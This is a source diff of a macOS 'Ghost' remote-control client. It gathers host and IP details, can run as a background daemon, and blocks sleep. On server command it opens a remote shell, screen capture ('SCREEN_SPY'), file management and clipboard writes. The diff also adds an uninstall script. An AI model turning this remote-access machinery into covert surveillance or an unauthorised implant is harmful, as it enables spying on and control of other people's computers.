|
|
||||||
{
|
|
||||||
std::string t = std::to_string(timeoutSec);
|
|
||||||
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get public IP (try multiple sources)
|
|
||||||
static std::string getPublicIP()
|
|
||||||
{
|
|
||||||
static const char* urls[] = {
|
|
||||||
"https://checkip.amazonaws.com",
|
|
||||||
"https://api.ipify.org",
|
|
||||||
"https://ipinfo.io/ip",
|
|
||||||
"https://icanhazip.com",
|
|
||||||
"https://ifconfig.me/ip",
|
|
||||||
};
|
|
||||||
for (auto& url : urls) {
|
|
||||||
std::string ip = httpGet(url, 3);
|
|
||||||
// Validate: non-empty, contains dot, reasonable length
|
|
||||||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
|
||||||
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
|
|
||||||
return ip;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
NSLog(@"getPublicIP: all sources failed");
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
// ============== Install Time (persistent storage) ==============
|
// ============== Install Time (persistent storage) ==============
|
||||||
|
|
||||||
@@ -258,9 +486,25 @@ static void fillLoginInfo(LOGIN_INFOR& info)
|
|||||||
// CPU MHz
|
// CPU MHz
|
||||||
info.dwCPUMHz = getCPUFrequencyMHz();
|
info.dwCPUMHz = getCPUFrequencyMHz();
|
||||||
|
|
||||||
// PC Name (hostname)
|
// PC Name (hostname) - with group name if set
|
||||||
std::string hostname = getHostname();
|
std::string hostname = getHostname();
|
||||||
|
std::string groupName = loadGroupName();
|
||||||
|
if (!groupName.empty()) {
|
||||||
|
// Also update g_SETTINGS for consistency
|
||||||
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0';
|
||||||
|
// Format: "hostname/groupname"
|
||||||
|
std::string pcNameWithGroup = hostname + "/" + groupName;
|
||||||
|
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
|
||||||
|
} else if (g_SETTINGS.szGroupName[0] != 0) {
|
||||||
|
// Use group from g_SETTINGS (set at build time)
|
||||||
|
groupName = g_SETTINGS.szGroupName;
|
||||||
|
std::string pcNameWithGroup = hostname + "/" + groupName;
|
||||||
|
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
|
||||||
|
} else {
|
||||||
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
|
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
|
||||||
|
}
|
||||||
|
info.szPCName[sizeof(info.szPCName) - 1] = '\0';
|
||||||
|
|
||||||
// Webcam
|
// Webcam
|
||||||
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
|
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
|
||||||
@@ -325,8 +569,20 @@ static void fillLoginInfo(LOGIN_INFOR& info)
|
|||||||
std::string resolution = getScreenResolution();
|
std::string resolution = getScreenResolution();
|
||||||
info.AddReserved(resolution.c_str());
|
info.AddReserved(resolution.c_str());
|
||||||
|
|
||||||
// 17. Client ID (calculated from system info, same algorithm as server)
|
// 17. Client ID
|
||||||
// Format: pubIP|hostname|os|cpu|path
|
// V2 算法:IOPlatformUUID + 归一化路径
|
||||||
|
// - 同机同程序路径永远同 ID(不依赖 IP/hostname/os/CPU 漂移)
|
||||||
|
// - IOPlatformUUID 主板级,重装系统通常不变;多机各不相同
|
||||||
|
// - 读取失败时退化到老算法(pubIP|hostname|os|cpu|path)保兼容
|
||||||
|
std::string machineId = getMachineId();
|
||||||
|
if (!machineId.empty()) {
|
||||||
|
std::string normPath = normalizeExePathLower(exePath);
|
||||||
|
std::string idInput = machineId + "|" + normPath;
|
||||||
|
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||||
|
NSLog(@"ClientID(v2): %llu (machineId=%s, path=%s)",
|
||||||
|
g_myClientID, machineId.c_str(), normPath.c_str());
|
||||||
|
} else {
|
||||||
|
// 老算法兜底
|
||||||
char cpuStr[32];
|
char cpuStr[32];
|
||||||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
|
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
|
||||||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||||||
@@ -335,8 +591,13 @@ static void fillLoginInfo(LOGIN_INFOR& info)
|
|||||||
cpuStr + "|" +
|
cpuStr + "|" +
|
||||||
exePath;
|
exePath;
|
||||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||||
|
NSLog(@"ClientID(v1 fallback): %llu (IOPlatformUUID 读取失败)", g_myClientID);
|
||||||
|
}
|
||||||
info.AddReserved(std::to_string(g_myClientID).c_str());
|
info.AddReserved(std::to_string(g_myClientID).c_str());
|
||||||
|
|
||||||
|
// 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID)
|
||||||
|
ClientAuth::g_loginMsg = std::string(info.szStartTime) + "|" + std::to_string(g_myClientID);
|
||||||
|
|
||||||
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
|
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
|
||||||
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
|
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
|
||||||
}
|
}
|
||||||
@@ -347,6 +608,7 @@ static void signalHandler(int sig)
|
|||||||
{
|
{
|
||||||
NSLog(@"Received signal %d, shutting down...", sig);
|
NSLog(@"Received signal %d, shutting down...", sig);
|
||||||
g_running = false;
|
g_running = false;
|
||||||
|
g_bExit = S_CLIENT_EXIT; // 通知所有工作线程退出
|
||||||
}
|
}
|
||||||
|
|
||||||
static void setupSignals()
|
static void setupSignals()
|
||||||
@@ -357,67 +619,74 @@ static void setupSignals()
|
|||||||
signal(SIGPIPE, SIG_IGN);
|
signal(SIGPIPE, SIG_IGN);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 经典 Unix 双 fork 守护进程
|
||||||
|
static void daemonize()
|
||||||
|
{
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) exit(1);
|
||||||
|
if (pid > 0) exit(0); // 父进程退出
|
||||||
|
|
||||||
|
setsid(); // 新会话,脱离终端
|
||||||
|
|
||||||
|
pid = fork(); // 第二次 fork,防止重新获取控制终端
|
||||||
|
if (pid < 0) exit(1);
|
||||||
|
if (pid > 0) exit(0);
|
||||||
|
|
||||||
|
// 关闭标准文件描述符,重定向到 /dev/null
|
||||||
|
close(STDIN_FILENO);
|
||||||
|
close(STDOUT_FILENO);
|
||||||
|
close(STDERR_FILENO);
|
||||||
|
open("/dev/null", O_RDONLY); // fd 0 = stdin
|
||||||
|
open("/dev/null", O_WRONLY); // fd 1 = stdout
|
||||||
|
open("/dev/null", O_WRONLY); // fd 2 = stderr
|
||||||
|
}
|
||||||
|
|
||||||
// ============== Main Entry Point ==============
|
// ============== Main Entry Point ==============
|
||||||
|
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
|
||||||
|
|
||||||
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
|
void* ShellworkingThread(void* /*param*/)
|
||||||
struct RttEstimator {
|
|
||||||
double srtt = 0.0; // 平滑 RTT (秒)
|
|
||||||
double rttvar = 0.0; // RTT 波动 (秒)
|
|
||||||
double rto = 0.0; // 超时时间 (秒)
|
|
||||||
bool initialized = false;
|
|
||||||
|
|
||||||
void update_from_sample(double rtt_ms)
|
|
||||||
{
|
{
|
||||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
RunSubConnThread<PTYHandler>(
|
||||||
if (rtt_ms <= 0 || rtt_ms > 30000)
|
"ShellworkingThread",
|
||||||
return;
|
[](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
|
||||||
|
[](IOCPClient* c, PTYHandler*) {
|
||||||
const double alpha = 1.0 / 8;
|
BYTE bToken = TOKEN_TERMINAL_START;
|
||||||
const double beta = 1.0 / 4;
|
c->Send2Server((char*)&bToken, 1);
|
||||||
double rtt = rtt_ms / 1000.0;
|
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
|
||||||
|
});
|
||||||
if (!initialized) {
|
|
||||||
srtt = rtt;
|
|
||||||
rttvar = rtt / 2.0;
|
|
||||||
rto = srtt + 4.0 * rttvar;
|
|
||||||
initialized = true;
|
|
||||||
} else {
|
|
||||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
|
||||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
|
||||||
rto = srtt + 4.0 * rttvar;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
|
||||||
if (rto < 1.0) rto = 1.0;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
RttEstimator g_rttEstimator;
|
|
||||||
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
|
|
||||||
|
|
||||||
void* ScreenworkingThread(void* param)
|
|
||||||
{
|
|
||||||
try {
|
|
||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
|
||||||
void* clientAddr = ClientObject.get();
|
|
||||||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
|
||||||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
|
||||||
if (!handler->init()) {
|
|
||||||
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
|
||||||
|
void* ScreenworkingThread(void* /*param*/)
|
||||||
|
{
|
||||||
|
RunSubConnThread<ScreenHandler>(
|
||||||
|
"ScreenworkingThread",
|
||||||
|
[](IOCPClient* c) -> std::unique_ptr<ScreenHandler> {
|
||||||
|
// macOS ScreenHandler 需要先 init() 申请录屏权限/抓屏 stream,失败 → 返 nullptr
|
||||||
|
// 让骨架直接 leave,跳过 callback 安装
|
||||||
|
auto h = std::unique_ptr<ScreenHandler>(new ScreenHandler(c));
|
||||||
|
if (!h->init()) {
|
||||||
|
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
return h;
|
||||||
|
},
|
||||||
|
[](IOCPClient* c, ScreenHandler* h) {
|
||||||
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
||||||
handler->sendBitmapInfo();
|
h->sendBitmapInfo();
|
||||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
});
|
||||||
Sleep(1000);
|
return NULL;
|
||||||
}
|
|
||||||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
|
||||||
} catch (const std::exception& e) {
|
|
||||||
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void* FileManagerworkingThread(void* /*param*/)
|
||||||
|
{
|
||||||
|
RunSubConnThread<FileManager>(
|
||||||
|
"FileManagerworkingThread",
|
||||||
|
[](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
|
||||||
|
[](IOCPClient* c, FileManager*) {
|
||||||
|
Mprintf(">>> FileManagerworkingThread [%p] initialized\n", c);
|
||||||
|
});
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -426,11 +695,18 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (szBuffer == nullptr || ulLength == 0)
|
if (szBuffer == nullptr || ulLength == 0)
|
||||||
return TRUE;
|
return TRUE;
|
||||||
|
|
||||||
|
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。详见
|
||||||
|
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
|
||||||
|
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
if (szBuffer[0] == COMMAND_BYE) {
|
if (szBuffer[0] == COMMAND_BYE) {
|
||||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
g_running = false; // Stop main loop to prevent reconnection
|
g_running = false; // Stop main loop to prevent reconnection
|
||||||
} else if (szBuffer[0] == COMMAND_SHELL) {
|
} else if (szBuffer[0] == COMMAND_SHELL) {
|
||||||
|
std::thread(ShellworkingThread, nullptr).detach();
|
||||||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||||||
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
|
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
|
||||||
std::thread(ScreenworkingThread, nullptr).detach();
|
std::thread(ScreenworkingThread, nullptr).detach();
|
||||||
@@ -438,7 +714,34 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
} else if (szBuffer[0] == COMMAND_SYSTEM) {
|
} else if (szBuffer[0] == COMMAND_SYSTEM) {
|
||||||
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
|
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
|
||||||
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
|
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
|
||||||
|
std::thread(FileManagerworkingThread, nullptr).detach();
|
||||||
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
|
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
|
||||||
|
} else if (szBuffer[0] == COMMAND_C2C_PREPARE) {
|
||||||
|
// C2C 准备接收通知
|
||||||
|
FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr);
|
||||||
|
Mprintf("** [%p] C2C Prepare received ***\n", user);
|
||||||
|
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
|
||||||
|
// C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
|
||||||
|
if (ulLength >= 13) {
|
||||||
|
uint32_t textLen;
|
||||||
|
memcpy(&textLen, szBuffer + 9, 4);
|
||||||
|
if (ulLength >= 13 + textLen && textLen > 0) {
|
||||||
|
if (!ClipboardHandler::IsAvailable()) {
|
||||||
|
Mprintf("** [%p] C2C Text: clipboard unavailable ***\n", user);
|
||||||
|
} else {
|
||||||
|
std::string utf8Text((const char*)szBuffer + 13, textLen);
|
||||||
|
if (ClipboardHandler::SetText(utf8Text)) {
|
||||||
|
Mprintf("** [%p] C2C Text received: %u bytes ***\n", user, textLen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) {
|
||||||
|
// V2 文件接收
|
||||||
|
int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID);
|
||||||
|
if (result != 0) {
|
||||||
|
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
|
||||||
|
}
|
||||||
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
|
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
|
||||||
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
|
||||||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||||||
@@ -454,43 +757,108 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||||
int settingSize = ulLength - 1;
|
MasterSettings settings;
|
||||||
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
|
if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
|
||||||
MasterSettings settings = {};
|
return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
|
||||||
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
|
}
|
||||||
if (settings.ReportInterval > 0)
|
if (settings.ReportInterval > 0)
|
||||||
g_heartbeatInterval = settings.ReportInterval;
|
g_heartbeatInterval = settings.ReportInterval;
|
||||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||||
}
|
|
||||||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||||
|
} else if (szBuffer[0] == CMD_SET_GROUP) {
|
||||||
|
// Extract group name from message (starts at byte 1)
|
||||||
|
std::string groupName;
|
||||||
|
if (ulLength > 1) {
|
||||||
|
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
|
||||||
|
// Remove trailing nulls
|
||||||
|
size_t pos = groupName.find('\0');
|
||||||
|
if (pos != std::string::npos) {
|
||||||
|
groupName = groupName.substr(0, pos);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Save to config file
|
||||||
|
saveGroupName(groupName);
|
||||||
|
// Update global settings
|
||||||
|
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||||||
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
// 标记需要重发登录信息(让服务端更新分组显示)
|
||||||
|
g_needResendLogin.store(true);
|
||||||
|
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
||||||
} else {
|
} else {
|
||||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||||
}
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 用法: ./ghost [-d]
|
||||||
|
// -d 后台守护进程模式
|
||||||
int main(int argc, const char* argv[])
|
int main(int argc, const char* argv[])
|
||||||
{
|
{
|
||||||
(void)argc;
|
// 解析 -d 参数
|
||||||
(void)argv;
|
bool daemon_mode = (argc > 1 && strcmp(argv[1], "-d") == 0);
|
||||||
|
|
||||||
|
// 守护进程模式:在进入 autoreleasepool 之前 fork
|
||||||
|
if (daemon_mode) {
|
||||||
|
daemonize();
|
||||||
|
}
|
||||||
|
|
||||||
@autoreleasepool {
|
@autoreleasepool {
|
||||||
NSLog(@"=== macOS Ghost Client ===");
|
NSLog(@"=== macOS Ghost Client%s ===", daemon_mode ? " (daemon)" : "");
|
||||||
|
|
||||||
|
// ============== Power Management: Keep System Awake ==============
|
||||||
|
// 1. Disable App Nap - prevent macOS from suspending this process
|
||||||
|
id<NSObject> powerActivity = [[NSProcessInfo processInfo]
|
||||||
|
beginActivityWithOptions:(NSActivityUserInitiated | NSActivityIdleSystemSleepDisabled)
|
||||||
|
reason:@"Remote control client must maintain persistent connection"];
|
||||||
|
NSLog(@"App Nap disabled, activity token acquired");
|
||||||
|
|
||||||
|
// 2. Prevent system idle sleep using IOKit power assertion
|
||||||
|
IOPMAssertionID sleepAssertionID = 0;
|
||||||
|
IOReturn result = IOPMAssertionCreateWithName(
|
||||||
|
kIOPMAssertionTypeNoIdleSleep,
|
||||||
|
kIOPMAssertionLevelOn,
|
||||||
|
CFSTR("SimpleRemoter macOS client - maintaining remote connection"),
|
||||||
|
&sleepAssertionID
|
||||||
|
);
|
||||||
|
if (result == kIOReturnSuccess) {
|
||||||
|
NSLog(@"Power assertion created: system idle sleep disabled (ID: %u)", sleepAssertionID);
|
||||||
|
} else {
|
||||||
|
NSLog(@"Warning: Failed to create power assertion (error: 0x%x)", result);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Display sleep: managed by ScreenHandler - only prevents display sleep
|
||||||
|
// when remote desktop is actively connected (saves power when idle)
|
||||||
|
|
||||||
// Setup signal handlers
|
// Setup signal handlers
|
||||||
setupSignals();
|
setupSignals();
|
||||||
|
|
||||||
|
// Load configuration file (~/.config/ghost/config.conf)
|
||||||
|
loadConfig();
|
||||||
|
NSLog(@"Config loaded from %s", g_configPath.c_str());
|
||||||
|
|
||||||
// Check permissions
|
// Check permissions
|
||||||
NSLog(@"Checking permissions...");
|
NSLog(@"Checking permissions...");
|
||||||
|
|
||||||
if (!Permissions::checkScreenCapture()) {
|
bool hasScreenCapture = Permissions::checkScreenCapture();
|
||||||
|
if (hasScreenCapture) {
|
||||||
|
NSLog(@"Screen capture permission: OK");
|
||||||
|
} else {
|
||||||
NSLog(@"Screen capture permission not granted.");
|
NSLog(@"Screen capture permission not granted.");
|
||||||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
|
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
|
||||||
|
// Request permission (triggers system dialog on first run)
|
||||||
|
Permissions::requestScreenCapture();
|
||||||
|
// Only open settings if this appears to be a re-run without permission
|
||||||
|
// Check again after request (dialog may have been shown)
|
||||||
|
if (!Permissions::checkScreenCapture()) {
|
||||||
Permissions::openScreenCaptureSettings();
|
Permissions::openScreenCaptureSettings();
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (!Permissions::checkAccessibility()) {
|
bool hasAccessibility = Permissions::checkAccessibility();
|
||||||
|
if (hasAccessibility) {
|
||||||
|
NSLog(@"Accessibility permission: OK");
|
||||||
|
} else {
|
||||||
NSLog(@"Accessibility permission not granted.");
|
NSLog(@"Accessibility permission not granted.");
|
||||||
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
|
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
|
||||||
Permissions::requestAccessibility();
|
Permissions::requestAccessibility();
|
||||||
@@ -501,6 +869,8 @@ int main(int argc, const char* argv[])
|
|||||||
NSLog(@"Full Disk Access: not detected (may be false negative).");
|
NSLog(@"Full Disk Access: not detected (may be false negative).");
|
||||||
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
|
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
|
||||||
// Don't auto-open settings since detection is unreliable
|
// Don't auto-open settings since detection is unreliable
|
||||||
|
} else {
|
||||||
|
NSLog(@"Full Disk Access: OK");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create client
|
// Create client
|
||||||
@@ -519,10 +889,19 @@ int main(int argc, const char* argv[])
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 进入新连接,重置服务端身份校验状态
|
||||||
|
ClientAuth::OnNewConnection();
|
||||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||||
|
|
||||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||||||
|
// 检查是否需要重发登录信息(分组变更后)
|
||||||
|
if (g_needResendLogin.exchange(false)) {
|
||||||
|
fillLoginInfo(logInfo);
|
||||||
|
ClientObject->SendLoginInfo(logInfo);
|
||||||
|
Mprintf(">> Resent login info after group change\n");
|
||||||
|
}
|
||||||
|
|
||||||
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
||||||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||||
for (int i = 0; i < interval; ++i) {
|
for (int i = 0; i < interval; ++i) {
|
||||||
@@ -533,6 +912,13 @@ int main(int argc, const char* argv[])
|
|||||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||||
break;
|
break;
|
||||||
|
|
||||||
|
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
|
||||||
|
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
|
||||||
|
if (ClientAuth::IsTimedOut()) {
|
||||||
|
ClientObject->Disconnect();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
||||||
std::string activity = getActiveApp();
|
std::string activity = getActiveApp();
|
||||||
|
|
||||||
@@ -549,6 +935,15 @@ int main(int argc, const char* argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
NSLog(@"Shutting down...");
|
NSLog(@"Shutting down...");
|
||||||
|
|
||||||
|
// Release power assertions
|
||||||
|
if (sleepAssertionID) {
|
||||||
|
IOPMAssertionRelease(sleepAssertionID);
|
||||||
|
NSLog(@"Released sleep assertion");
|
||||||
|
}
|
||||||
|
// Display assertion is managed by ScreenHandler (released in stop())
|
||||||
|
// powerActivity is automatically released when exiting @autoreleasepool
|
||||||
|
(void)powerActivity; // Suppress unused variable warning
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
32
macos/uninstall.sh
Normal file
32
macos/uninstall.sh
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# macOS Ghost Client 卸载脚本
|
||||||
|
|
||||||
|
APP_DIR="/Applications/GhostClient.app"
|
||||||
|
|
||||||
|
echo "=== GhostClient 卸载程序 ==="
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# 1. 停止进程
|
||||||
|
echo "[1/4] 停止进程..."
|
||||||
|
pkill -9 -f "$APP_DIR" 2>/dev/null || true
|
||||||
|
|
||||||
|
# 2. 删除文件
|
||||||
|
echo "[2/4] 删除文件..."
|
||||||
|
sudo rm -rf "$APP_DIR"
|
||||||
|
rm -rf ~/.config/ghost 2>/dev/null || true
|
||||||
|
rm -f /tmp/ghost.log 2>/dev/null || true
|
||||||
|
|
||||||
|
# 3. 移除登录项
|
||||||
|
echo "[3/4] 移除登录项..."
|
||||||
|
osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
|
||||||
|
|
||||||
|
# 4. 重置系统权限
|
||||||
|
echo "[4/4] 重置系统权限..."
|
||||||
|
tccutil reset ScreenCapture 2>/dev/null || true
|
||||||
|
tccutil reset Accessibility 2>/dev/null || true
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "========================================"
|
||||||
|
echo " 卸载完成"
|
||||||
|
echo "========================================"
|
||||||
|
echo ""
|
||||||
@@ -526,14 +526,13 @@ BOOL CMy2015RemoteApp::InitInstance()
|
|||||||
SetChineseThreadLocale();
|
SetChineseThreadLocale();
|
||||||
|
|
||||||
// 加载语言包(必须在显示任何文本之前)
|
// 加载语言包(必须在显示任何文本之前)
|
||||||
|
// 内嵌资源支持 en_US 和 zh_TW,无需外部文件
|
||||||
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
|
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
|
||||||
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
|
auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
|
||||||
langDir = langDir.empty() ? "./lang" : langDir;
|
langDir = langDir.empty() ? "./lang" : langDir;
|
||||||
if (PathFileExists(langDir.c_str())) {
|
g_Lang.Init(langDir.c_str()); // 初始化目录(用于磁盘补丁文件)
|
||||||
g_Lang.Init(langDir.c_str());
|
g_Lang.Load(lang.c_str()); // 加载语言(优先内嵌资源,再覆盖磁盘文件)
|
||||||
g_Lang.Load(lang.c_str());
|
